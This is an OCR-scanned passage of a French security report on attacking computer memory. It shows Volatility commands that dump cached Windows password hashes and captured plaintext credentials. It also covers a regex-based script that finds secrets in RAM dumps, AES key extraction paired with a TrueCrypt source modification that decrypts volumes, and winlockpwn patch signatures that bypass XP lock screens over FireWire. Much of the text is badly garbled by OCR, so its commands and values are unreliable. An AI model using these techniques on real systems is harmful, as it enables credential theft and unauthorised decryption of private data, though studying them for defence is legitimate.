0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0020 00 00 00 00 00 00 00 00 00 00 00 00

0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
_SC_RpcLocator

GS${ED8F4747 - E13D- 47bc - 856B- 5CEFE1A81A7F}
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5.4. Hashs MS -Cache

Depuis | dextraction de | a RAM, i e«VIS-Cazle s> sld cbriairs
comptes sO®t ant c 0 n n gia tle® efishiersa systensey SMSTENle et SECURITY
(« C:\WINDOWS\system32\config\ »).

L 6 o Votatility permet encore une fois de réaliser cette tache et la série de commande est équivalente a
celle lancée pour extraire la base SAM mis a part que les offset a récupérer sont ceux correspondant aux
fichiers SYSTEM ET SECURITY.

$ python volatility hivelist -fH: \ DUMPTEST\ dump_ram_user.dmp -0 0x769ab60
Address  Name

0xe1038008 \ WINDOWSsystem32 \ config \ system

0xe102f008 [no name]

0xe31f5b60 \ Documents and Settings \ amalard \ Local Settings \ Application Data \ Mic
rosoft \ Windows\ UsrClass.dat

0xe3170b60 \ Documents and Settings \ amalard \ NTUSER.DAT

0xe2d77570 \ Documents and  Settings \ LocalService \ Local Settings \ Application Dat
a\ Microsoft \ Windows\ UsrClass.dat

0xe2df7b60 \ Documents and Settings \ LocalService \ NTUSER.DAT

0xe2d9a7hb0 \ Documents and Settings \ NetworkService \ Local Settings \ Application D
ata \ Microsoft \ Windows\ UsrCla ss.dat

0xe2d7d008 \ Documents and Settings \ NetworkService \ NTUSER.DAT

0xelf45a00 \ WINDOWSsystem32 \ config \ software

Oxelee0380 \ WINDOWSsystem32 \ config \ default

DIEHoESEl \ WINDOWSsystem32 \ config \ security

0xe1018b60 \ WINDOWSsystem32 \ config \ sam

0xel b58b60 [no name]

L6optcachedumpé per met | 6laéhsi chage des

||$ python  volatility cachedump -f <chemin ddacc s au -y <ofiset system>R A M-s <offset security>

D:\ data \ ARCHIVE FORENSIG RAM analyse = RAM Volatility - 1.3 Beta \ Volatility -1.3 Beta
>python volatility cachedump -fH: \DUMPTEST\ dump_ram_user.dmp -y Oxel038008 is \

amalard:6f5b3c0d7d4eXXXX262c25fda9727a3c:devoteam:fr.devoteam.com
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5.5. Mots de passe en clair

5.5.1. Exemples

D 6 a u applieasions peuvent fournir des informations intéressantes stockées en RAM.

Ci-dessous, quelques exemples de scénarios possibles et leur conséquence :

- GMm & free

by Google . ,
—— ci- Office Outlook'Web Access

= i (]
RESEAU SOCIAUX L|nked I | : ' viadeo

Security BOX"* Freeware ?f 3

CLIENTS LOURDS E N - -
—RC

| Exemple 1 : Récupération des identifiants de connexion MSN
asey <.

-Agent: Mozilla/4.® (compatible; MSIE 6.0; Windows NT 5.1;
R 3.0.84506.308; .NET CLR 3.08.04506.648: .NET CLR 3.5.210822;

<{lsnobj Creator:"arnaudmalard@free.fr"|Type="5" SHA1D="VoP1
AHYAYQBUAGQAZQAUAGOACABN >

spaces.live.com
storage.msn.com
Uxua=>"y{ FF
ser"><fsse:Usern
@free. fr</wsse:Username>fwsse: Password>(ESamp; 51</wsse : Password}
~[]

ap

=+
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1 Exemple2: R®cup®raboknedddaiont henti fic

POST /horde/imp/redirect.php?Horde=e5671cc23dd39d70ab86aeeb3b572929 HTTP/1.1

Host: imp.free.fr

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.28
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,1image/png,*/*;g=0.5
Accept-Language: fr,fr-fr;g=0.8,en-us;g=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;0=0.7,%;q=0.7

Keep-Alive: 300

Connection: keep-alive

eferer: http://imp.free.fr/
ie: Horde=e5671cc23dd39d70ab86aeeb3b572929

| Exemple 3 : R®cup®ration des informations dbéaut hen:

% k>

FILEQ

% k=

FILE®

06/0

20:01:14 212.27.48.3 16.3.11.160 amalard passwordFREE ClearText |

FILE®

ProcessesToRunBeforeArchive

End:Before Archive Queue Ops

UpdSp Failed to rum INF SECTION BEFORE ARCHIVE

1 est i mportant de pr®ciser gque ces donn®es nod®t

| Exemple 4 : R®cup®r ati on de s atorosormuRdemnaine Wiadaws fcennekionf i ¢
vers Microsoft Exchange hors domaine)

Les données sont soit stockées en base 64,

futhorization: Basic REVWT1RFQU1cYW1hbGFyZDpwYXNzd29yZDEyMw== |
d[*M bt

Fawj

tT9}

Ixdw
e —

Et donc décodables facilement :

x

— Bazebd encrypted password

IHEV’WT'I RFOUT 4w ThbGFYZF m 3N zd2 02D Eyhw=<]

r— Decrypted passward
IDEVDTEAM\amaIard\passwold'l 23

— Decrypted pazzsword [HEX]
|4445584f544541 4d5cE16dE1 BBl 7 2B45070R1 73737 TR 264313233

E it |

Soit accessibles en clair,
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Wh x
EhPw
vh x
vhPw
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Et donc exploitables directement.

5.5.2. Automatisation de la recherche

Enayant connaissance du mot de passe, i nébest pa
mémoire RAM. Comment est-i | possible doéidentifier l es aut he
potentiellement stockés dans une image mémoire. Tout simplement en constituant une base de données

de signature pour des applications connues.

La difficult® est alors doéidentifier une signat ul
mémoire analysée.

Par exemple, pour « Gmail », le mot de passe est précédé de « &pass » et suivi de « &charset », il est
donc possi bl e dountsi Iri®geurl iderse se xpporuers sliéoi denti fi er.

email={.+)&pass=(.+)&Ccharseth test.*

Déautres secrets ne sont quant - e ux Easarementcd u s
| 6exempl e pr® c®demment propos®.

Par exemple, le mot de passe protégeant la clef privée utilisée par « OpenVPN » est stocké seul au

mi | i e u s chdinesude caeactéres aléatoires.Cer t ai nes dodéentre elles peu
et peuvent ainsi étre utilisées comme référentiel ou sgnature. Par exemple, le mot de passe OpenVPN

est souvent précédé de « Winsock 2.0 » et va donc pouvoir faire office de signature.

: Winmsock 2.0

Ainsi,enexp| oi tant une telle base de signatur e, il est
sensi bl es. Une preuve de concept a ®t ® con-u dans
des informations sensibles depuis une image de mémoire RAM.
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/find-secrets-str.py <fichier RAM au format STRING>

wi_farshnok com

wwiwi. Linkedin, com

t sys,os,re

TabCibles=[{

: email=(.+)&pass=(.+)&charset\ test.* .,

de connexion sur www, facebook.com

ntifiant desconnexion sur www.linkedin.com

L /find-secrets-str.py /media/DATA-HP/tmp/dump-ram2.str
999
://wetwi . Linkedin. com:é ee.Fr

:/ /v . Linkedin . cor
/ /weri . facebook . com: ee.fr
://wwivi . facebook . com: 1

NOh®sitez pas °~ me contacter si vous °tes int®res
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5.6. Chiffrement des disques et volumes

Chiffrer les disques durs systéme ne permet pas de se protéger totalement du vol des données depuis la
mémoire physique. En effet, e N p 0 s s eusesimagende h dhémoire physique, un attaquant peut en
extraire les clefs de chiffrement et de déchiffrement du disque. Ainsi, les systemes protégés par
TrueCrypt (Linux, Windows), DM-Crypt/LUKS (Linux), BitLocker (Vista) ou FileVault (MAC) ne
garantissent plus la confidentialité des données.

5.6.1. Extraction des clefs via « AesKeyFinder  »
Pl usieurs outils permettent | édextraction des <cl ef
mis en ligne sur Internet [http://citp.princeton.edu/memory/code/]. « Aeskeyfinder » permet par exemple
doextraire ces cl efs. Un autre out il a ®t ® d

« Rsakeyfinder ».

Voi ci un exemple dbéextraction deTrueCryptt: AES 256 doéu

$ .Jaeskeyfind - v ..[../lhyber - cmd- notepad/hiber - dump- cmd.dmp
FOUND POSSIBLE 256- BIT KEY AT BYTE 17df008

KEY:
3caba909323b75a7c49b3120e6621ec27f5897ccca378a7cl191d6aaeh37942¢ef

EXTENDED KEY:

3caba909323b75a7¢c49b3120e6621ec27f5897ccca378a7c191d6aaeb37942 ef8b877664b9bc03c37d2732e39b452¢
216b36e631a1016c4db81c06e30b65440cc49¢884f7d208b8c0007b96f9b42954e7flaccledelba0536607a6b06d62
e2bc6a04ed73172466ff1723df908c614adelbf51a03c5eebas50a3e91ce0ce8bfe5c5fbfa7f8489bc1075fb81e97d3
d954497dc03a38h82e80681bc79c88d54c62 d46615effb2e8e2efc7136306ba2ef6422471f79abff31f9c3e4f6654b
31ba079fb2d0343c9c5elac0ed682aab4f874e89¢c308560c3c39afcfd8cfca84e975cd1b6f6d9b22f33381e21e5bab
4951dce5¢c0

5.6.2. Utilisation des clefs TrueCrypt  sous Windows
5.6.2.1. En théorie

Sous Windows, seule la clef de chiffrement étant identifiable, il est nécessaire de modifier le code source

de TrueCryptaf in de forcer | 6ut i Cettesédapel mméne sde plas csliefpl A&
explications so6i mposent au p ef®rtioanbnestdeeTtueCnyptt a mme nt
1 Rappel : Consti fTweCiyin doun vol ume

[ ]

Données chiffrées
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3U SECURITE,

1 Rappel : D®chiff Mree@gptt doéun vol ume
Mot d
S+ ]

Déchiffrement de I'entéte

Clef de
\dé)chiffrement Données chiffrées

des données

Déchiffrement des données

| Exploitation de | a cl ef i dTeuaGryptimixt®@e : Concept i
Si Il 6on apréecétiept ssehémia, ele déchiffrement des données nécessite donc de maitriser
uni quement | 6en(¢ad eavdoui rvollaunceonnai ssance du mot d

de (dé)chiffrement. Ainsi en utilisant un entéte maitrisé contenant la clef de (dé)chiffrement) identifiée via
« AesKeyFinder », et en la fusionnant avec les données chiffrées cibles, un volume TrueCrypt cohérant
peut étre créé et déchiffré.

La difficulté est donc de concevoir un entéte TrueCrypt dont le mot de passe est connu et dans lequel la

clef de chiffrement a été insérée. La génération de cette clef étant réalisée par TrueCrypt lors de la
cr®ation doébun volume, il est n®bDueGngpiaifrien ddee niocodricfeir
de la clef de (dé)chiffrement.

Ci-dessous, la modification a réaliser au niveau du code source TrueCrypt avant sa compilation et son
utilisation pour g®n®rer | dent°te ma ' tris®e

Dans « core/VolumeCreator.cpp », modifier le code suivant :

/I Master data key
MasterKey.Allocate (options - >EA- >GetKeySize() * 2);
RandomNumberGenerator::GetData (MasterKey);
headerOptions.DataKey = MasterKey;

Par :

/I Master data key

AVVYIGCYZa] ={ 0x55, 0x44, 0x44, Ox33, 0x22
k
MasterKey.Allocate (options - >EA- >GetKeySize() * 2);
/[Echange des clefs
int i=0;

for(i=0;i<64;i++)

MasterKey[i]=MyKey[i];
/IRandomNumberGenerator::GetData (MasterKey);
headerOptions.DataKey = MasterKey;
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La clef surlignée en bleu ci-dessus doit évidemment étre modifié selon celle qui a été extraite lors de
| 6®t ape pr ®c®dent e.

Les schémas ci-dessous expliquent le déroulement des différentes opérations de conception et de
déchiffrement du volume cible.

Modification
du code
source
TrueCrypt
Une pr®cision sbéimpose sur | e d®coupage de:gdepwisdd u m
site de TrueCrypt [http://www. TrueCrypt.org/docs/?s=header-key-derivation], il est possible de voir que
|l es donn®es chiffr®es sont stock®es ~ partir de |
EHA-51Z 128 124 | Encrypted Reserved (setto zera)
whirlpool
-echnical Details 252 4 | Encrypted CRC-32 checksurn of the (decrypted) bytes 64-251
Hatation 256 [T Encrypted Concatenated primary and secondary master keys**
Zncryption Scheme ) o . )
512 | 65024 | Encrypted Reserved (for system encryption, this item is omitted¥+)

vodes of Operation

deader Key Derivation 5536 | A553A | Encrypted / area for hidden volume header (if there is no hidden volume
Unencrypteds within the volume, this area contains random datat?t). For

iandom Mumber Gen. i >4 - .
system encryption, this item is omitted . #+ See bytes 0-65535

<evfiles

Jolume Format Spec. 131072 [PET Encrypted Data area (master key sc_ope). For system encryptior_l,_ offse

Stardard n may be different {depending on offset of system partition).
£

LéoenfTPueCrypt est donc stock® | 6off set 0 e

entre
stock®es " partir de | 6o0offset 131072.
Un éditeur hexadécimal tel que WinHex permet de facilement réaliser les opérations de fusion.

Une autre pr®cisiilonesstdi enposreti el , afin que | 60p®
générer un volume TrueCrypt de méme taille que celui a déchiffrer.
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1 Exploitation de la clef identifiée : Déchiffrement du volume cible

Mot de passe +
utilisateur Entéte chiffrée

connu

Déchiffrement de I'entéte

Clef de
vdé)chiffrement Données chiffrées

des données

Déchiffrement des données
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En pratique

per met de r ®aliser de mani
I est t® ®chargeabl e :en version

http://www.lostpassword.com/Kit-enterprise.htm

IS®l ectio

n de | doption de rdisguesdurrat i on

EEPassware Password Recovery Kit Forensic = |E| 5'
File Wew Tools Help

IsS®l ectio

[Blpassware Password Recovery Kit Forensic -0l x|

@Back @Fnrward @Start Fage | &E‘ Recover - ' Search | ﬁ Support @ Help

Quick Start

Recover file paseword...

Search for protected files .

Recover intermet and network

pazswords..

Create Windows password reset . -

digk... | Reset Windows Administrator Password [Ctrl+w)

Fecover Hard Disk Passwords... Create a bootable CO-ROM that instantly resete Windows Administrator passward,
y Search for Protected Files [Ctrl+F)

L’i 'U) Recover File Password (Ctil+0)
A kl ' | Pick a protected file ta start password recaovery.

Recover | and N k P. ds [Cul+l)
Recowver passwords for websites, network, connections, and email accounts.

Scan computer for protected files.

- = Recover Hard Digk Passwords [Ctrl+D)
) ig Recover encryption keys or passwords to unlock BitLocker and TrueCrypt dives.

n ddéchiffrémem des winmed Buecrypt

Eile Wiew Tools Help

Details E3

. . - BitLocker [Ctrl+B)
Passwars (it seans a memory image ) Recover encryption keys to unlock a BitLocker wolurne:
of a computer with a BitLocker or

TrueCrppt encrypted wvolume and
extracts all the encruption keys.

Select action from the list d Decypt a TrueCrypt volume.

@Back @Forward @Start Page | % Support @ Help

[=] Hard Disk Encryption

s

TrueCrypt [Ctrl+T)

[=] Additional Tools

aim Passware Firewire Memory Imager
Acquire a memory image of a computer with a mounted BitLocker or TrueCrypt
wolume

Tr

e

=

|, 3U SECURITE

aut omat |
d®mo ° |

des mot ¢

IlL6attaquant a en sa possession |l e dump de m®mc

o W o W
l— l— Passware kit Forensic «+10.1
L—J FTK Imager Build 1958 Portable

eol-chiffre-GSDay=s
iTrueCrypt Wolurme
10240 Ko

dump-ram-GShays.raw
Fichier RAW
130 544 Ko

Version 1.2

16/12/10

CONNECTING BUSINESS & TECHNOLOGY

[BU Sécurité - DEVOTEAM] | Ce document a un but purement pédagogique et ne doit pas étre utilisé a des fins
malveillantes

Page 49 /72


http://www.lostpassword.com/kit-enterprise.htm

H@ckRAM

nE”[]IEﬂm 3 h k° Il &l nhgd pth t

3U SECURITE,

I Le volume Truecrypt est chiffré et ne permet pas de visualiser les données stockées

A File List

W] 1]
= i§[val-chiffre-G5Days.tc Marne Size | Type Date Modified
Ln B I i unallocated space 10240KE  Unallocated space

000000 |le 38 01 Ge b2 24 d2 2b-8c ae c7 a3 96 38 5a 02 |-8-nigl+-eCL-B2-
000010 |SE€ 33 72 d9 83 19 ee 4d-52 ea 62 965 £4 14 fe 76 | _3rU--iMREh-é&-pv
000020 |65 49 17 2b aa 5a ce 97-a3 37 37 71 6b d9 60 ca | el-+2Ei-477qkilE
000030 |87 9c o8 Ob 81 96 27 78-60 Ge 6a b2 98 cf al 18 | -«E---'x'nj*-E;-
000040 |88 25 32 b7 £d 91 36 13-62 06 b df 7c be 3c 31| -%2-3-6-h- B %<1
000050 |b5 29 Lf 74 fa al 67 cf£-69 12 9f bl S5a 03 34 &9 ) -tijgli--+2-4¢
000060 |87 ab 80 56 46 53 bhe S4-fe 84 20 89 be b5 £9 40 |- «-VFS%-p+ Xl
000070 [9d 65 95 79 72 ec Tc 4£-£7 £b 72 14 4a db bd 76 |- e-yri|0+ir- Jite
aa |EE{RY- B2, Hys - 092

IfLooutil per met de s®l ectionner | 6i mage de | a
entrée et une image destination en sortie.

Decrypting a TrueCrypt Volume

Encrypted TrueCrypt wolume image file (raw image file, .EO1, DD, ,IMG, .BIN):
I CiDocuments and SettingstAdministrateor\ Buread DEMG TChwol-chiffre-G50ayws, ko | | Browse, .,

® The TrueCrypt volume is still mounted, or I have a memory image of the karget computer acquired while
it was mounted, Instant decreption attack will be assigned.

Physical memaory image file (raw image file, .00, IMG, BIN):

| MDocuments and SetbingstAdministrateurBureanDEMO T dump-ram-Galays. raw | [ Browse, .,

i! Acguire a memaory image

Destination File:
|| Documents and Settings Administrateur\Bureau\DEMO T val-dechiffre-GSDays.dd| || [ Browse, .,

@) The TrueCrypt volume is dismounted, and I don't have a memory image of the target computer
acquired while it was mounted, Brote-Force atback will be assigned.

IlLébattaque commence par da@&echiefcfhrega menret dceard sa Icdierf

Akkack Progress

I Attack: TrueCrypt Memory Analysis attack I

Estimated completion time: calculating. ..

[---- ]

[ Skip Attack ] [ Pause ] [ Skop ]

Order State Aktack Password{s) Found

running yptMemoryAn. L

2 pending TrueCrypt Decryplion ...
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I Sila clef a été identifiée, elle est utilisée afin de déchiffré le volume

Attack Progress

I.D.ttack: TrueCrypt Decryption attacl-:l

Estimated completion time: calculating. .
[IIIIIIIIIIIIIIIIIIIIIIIIIII l

[ Skip Attack, ] [ Pause ] [ Stop ]

Attack Password(s) Found

TrueCrypt Memory .||

2 running TrueCrypt Decryption ...

I Un volume de destination est alors créé afin de stocker les données déchiffrées

Yolume image file: vol-chiffre-G3Daws. ko

Folder: C:\Documents and SettingstAdministrateur\Burean\DEMO TO,
Physical memory image Ffile: dump-ram-G3Days.raw

Folder: C:\Documents and SettingstadrministrateuriBureaniDEMO TO),
Protection: TrueCrypt Volume - Open Password, TrueCrypk AES Encryption
Complexity: Instant Unpraotection

kel

Recovery Progress

Passwords Found:
D passwords

Total time elapsed:
1 min. 8 sec.

Estimated completion kime: IUnprotected file: vol-dechiffre-GShays.dd I

[completed]

I Les données protégées sont alors visualisables (via FTK par exemple)

=) vokchiffre-GSD ays.te A Mame Size | Type Date Modified
l# Unrecogrized file system [unknovn type] %] mdp bt bxt OKB Regular file 14/10/2010 20:...
H[&y) vobdechifie-GSDays.dd | #| Nouveau Document tex, . DKE Regular file 14/10/2010 20:...,
= [F NOMAME [FATTE] #) Nouveau Document tex. . OKE FRegular file 14/10/2010 20:...
=3 [raat] @ salaires-des-emplovés k... Reqular File 14/10/2010 20:...

=+ dossiers confidenticls
[#) Nouveau dossier

I clientd
[#) Nouveau dossier
) client2 -
3 Mouveau dossier Exenple de données :
I3 client3
7T Sustem Walume Infarmatinn b’ DUPOND 32 000 Euros
Custom Conkent Sources * DURAND 34 000 Euros
Ewidence;File System|Path|File Cptions NICHEL 200 000 Euros
5.6.3. Utilisation des clefs TrueCrypt  sous Linux

Sous Linux, il a été observé que les mots de passe utilisés pour monter les volumes TrueCrypt sont
stockés en RAM de maniére non chiffrée.

Ainsi un attaquant parvenant a se connecter a une machine Linux avec les droits root (sans pour autant
en connaitre le mot de passe), via une faille systeme, peut facilement récupérer ces informations et les
utiliser a des fins compromettantes.

Il est important de préciser que méme aprés démontage des volumes TrueCrypt, ces derniers résident
encoreen m®mo i r &n rBdérivaérage est nécessaire si vous souhaitez vider ces informations de
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la mémoire.

5.6.4. Faiblesse de certaines solutions de chiffrement de disques
durs

Récemment le Team nAi Vi Z Vul ncehroapbbiiél un tpgpier Réyé&aataune technique pour
identifier les mot de passe utilisés pour le chiffrement des disques durs depuis des solutions de
chiffrement connues et considérées comme fiables.

Les produits concernés par cette vulnérabilité seraient les suivants : Microsoft BitLocker, TrueCrypt,
McAfee SafeBoot, HP (GRUB/LILO).

La vuln®rabilit® est tr s simple 7 exploiter pu
mémoire RAM le mot de passe de (dé)chiffrement inscrit en clair & une adresse mémoire commune a
chacun des produits cités [0x40:0x1e].

Le papier écrit par le Team est disponible a cette adresse :
http://www.ivizsecurity.com/research/preboot/preboot_whitepaper.pdf
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Cette partie pr®sente des m®thodes dbébattaques eX
position dans laquelle peut se trouver un attaquant.

6.1. Caudgqgnt hkk fd c3Itmd rdrrhnm

6.1.1. Via un acces Firewire

De | a m°me mani re qgue pour r®al i ser une extract
Windows peut étre réalisé depuis un accés Firewire sur la machine victime.

Reportezzvous ~ |l a partie concernant | Birewrée poar mettie@emplacee |
| 6attaque, seul | e der ni er 18Zmempnhge » mais x @iolackpwnr» n
di sponi bl e/[http:/Mwivatorm.eesnz/satic/files/winlockpwn].

Selon |l es syst mes doéexploitation utilis®s (XP SP
doi t °tre modifi® afin doéanalmgmnoee: Il dstgassibie ae toever lep | a
signatures pour | es autres syst mes actuels (7, 2
Lorsque | a |l angue de | 60S est en vénréaeappartéass, | es mo
start = 0x0000000L => start = 0x8000000L

end =0x8000000L =>end = OXxffffffffL

Afin de prendre en compte | es syst mes tathéte peptléteei t a
remplacée par celle-ci :

targets=[{

T Call\inXP SP2 Fast User Switching Unlock

"notes":"When run against a locked XPSP2 box with FUS on, it will cause all
passwords to succeed. You'll still get the password -is -wrong dialog, but then you'll get logged in
anyway.",

"phase":[{

"sig":"8BD8F7DB1ADBFEC3",

"pageoffset":[2905],

"patch":"bb01000000eb0990",

"patchoffset":0}]

h
NIEINCRA\VinXP SP2 Unlock 8

"notes™:"When run against a locked XPSP2 box with regular non - fast - user -
switching, it will cause all passwords to succeed. You'll still get the password - is - wrong dialog, b ut then
you'll get logged in anyway.",

"phase":[{
"sig":"0502000010",
"pageoffset":[3696],
"patch":"b801000000",
"patchoffset":0}]

h
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